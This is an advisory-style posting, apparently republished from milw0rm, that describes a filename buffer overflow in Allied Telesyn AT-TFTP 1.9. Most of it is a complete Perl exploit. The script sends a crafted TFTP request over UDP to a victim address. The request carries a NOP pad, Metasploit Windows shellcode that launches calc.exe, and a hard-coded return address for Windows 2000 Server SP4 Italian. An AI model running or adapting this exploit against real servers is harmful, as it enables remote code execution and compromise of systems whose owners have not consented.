[EXPL] Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)

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  Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

AT-TFTP is prone to a buffer-overflow vulnerability because the 
application fails to properly bounds-check user-supplied data before 
storing it in a finite-sized buffer.

DETAILS

Vulnerable Systems:
 * AT-TFTP version 1.9

Exploit:
#!/usr/bin/perl -w
#acaro[at]jervus.it
#http://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability



use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: atftp-19.pl <victim> <port>\n\n";
 exit;
}



$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta 
$ARGV[1]";
$pad = "\x90"x63;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
http://metasploit.com

$shellcode = 
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf1".
"\xf1\x59\x06\x83\xeb\xfc\xe2\xf4\x0d\x19\x1d\x06\xf1\xf1\xd2\x43".
"\xcd\x7a\x25\x03\x89\xf0\xb6\x8d\xbe\xe9\xd2\x59\xd1\xf0\xb2\x4f".
"\x7a\xc5\xd2\x07\x1f\xc0\x99\x9f\x5d\x75\x99\x72\xf6\x30\x93\x0b".
"\xf0\x33\xb2\xf2\xca\xa5\x7d\x02\x84\x14\xd2\x59\xd5\xf0\xb2\x60".
"\x7a\xfd\x12\x8d\xae\xed\x58\xed\x7a\xed\xd2\x07\x1a\x78\x05\x22".
"\xf5\x32\x68\xc6\x95\x7a\x19\x36\x74\x31\x21\x0a\x7a\xb1\x55\x8d".
"\x81\xed\xf4\x8d\x99\xf9\xb2\x0f\x7a\x71\xe9\x06\xf1\xf1\xd2\x6e".
"\xcd\xae\x68\xf0\x91\xa7\xd0\xfe\x72\x31\x22\x56\x99\x01\xd3\x02".
"\xae\x99\xc1\xf8\x7b\xff\x0e\xf9\x16\x92\x38\x6a\x92\xdf\x3c\x7e".
"\x94\xf1\x59\x06";

#$eip="\x42\x42\x42\x42";
$eip="\xf4\xf5\xe3\x75";        #call [ESP+28] in IMM32.dll on win2k 
Server SP4 Italian



$mode = "netascii";

$exploit = "\x00\x02" . $pad . $shellcode . $eip . "\0"  . $mode . "\0";


print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
exit;


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
 <http://www.milw0rm.com/exploits/2887> 
http://www.milw0rm.com/exploits/2887



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